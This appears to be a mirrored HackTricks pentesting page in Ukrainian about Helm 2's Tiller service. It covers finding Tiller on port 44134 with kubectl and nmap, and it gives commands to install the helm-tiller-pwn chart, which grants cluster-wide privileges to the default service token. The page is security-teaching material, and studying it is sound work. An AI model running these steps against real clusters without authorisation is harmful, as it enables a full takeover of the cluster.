mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
58 lines
4.2 KiB
Markdown
58 lines
4.2 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
# Основна інформація
|
||
|
||
Helm є **менеджером пакетів** для Kubernetes. Він дозволяє пакувати YAML файли та розповсюджувати їх у публічних і приватних репозиторіях. Ці пакети називаються **Helm Charts**. **Tiller** є **сервісом**, який **запускається** за замовчуванням на порту 44134, пропонуючи цю послугу.
|
||
|
||
**Порт за замовчуванням:** 44134
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
44134/tcp open unknown
|
||
```
|
||
# Перерахування
|
||
|
||
Якщо ви можете **перерахувати поди та/або сервіси** різних просторових імен, перераховуйте їх і шукайте ті, що містять **"tiller" у своїй назві**:
|
||
```bash
|
||
kubectl get pods | grep -i "tiller"
|
||
kubectl get services | grep -i "tiller"
|
||
kubectl get pods -n kube-system | grep -i "tiller"
|
||
kubectl get services -n kube-system | grep -i "tiller"
|
||
kubectl get pods -n <namespace> | grep -i "tiller"
|
||
kubectl get services -n <namespace> | grep -i "tiller"
|
||
```
|
||
Приклади:
|
||
```bash
|
||
kubectl get pods -n kube-system
|
||
NAME READY STATUS RESTARTS AGE
|
||
kube-scheduler-controlplane 1/1 Running 0 35m
|
||
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
||
|
||
kubectl get services -n kube-system
|
||
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||
```
|
||
Ви також можете спробувати знайти цю службу, перевіряючи порт 44134:
|
||
```bash
|
||
sudo nmap -sS -p 44134 <IP>
|
||
```
|
||
Як тільки ви його виявите, ви можете зв'язатися з ним, завантаживши клієнтський додаток helm. Ви можете використовувати інструменти, такі як `homebrew`, або переглянути [**сторінку офіційних релізів**](https://github.com/helm/helm/releases)**.** Для отримання додаткової інформації або інших варіантів дивіться [посібник з установки](https://v2.helm.sh/docs/using_helm/#installing-helm).
|
||
|
||
Тоді ви можете **перерахувати сервіс**:
|
||
```
|
||
helm --host tiller-deploy.kube-system:44134 version
|
||
```
|
||
## Підвищення привілеїв
|
||
|
||
За замовчуванням **Helm2** був встановлений у **namespace kube-system** з **високими привілеями**, тому якщо ви знайдете сервіс і матимете до нього доступ, це може дозволити вам **підвищити привілеї**.
|
||
|
||
Все, що вам потрібно зробити, це встановити пакет, подібний до цього: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn), який надасть **доступ до всього в усьому кластері для токена сервісу за замовчуванням.**
|
||
```
|
||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||
/pwnchart
|
||
```
|
||
В [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) ви маєте **пояснення атаки**, але в основному, якщо ви прочитаєте файли [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) та [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) всередині _helm-tiller-pwn/pwnchart/templates/_ ви можете побачити, як **всі привілеї надаються за замовчуванням токену**.
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|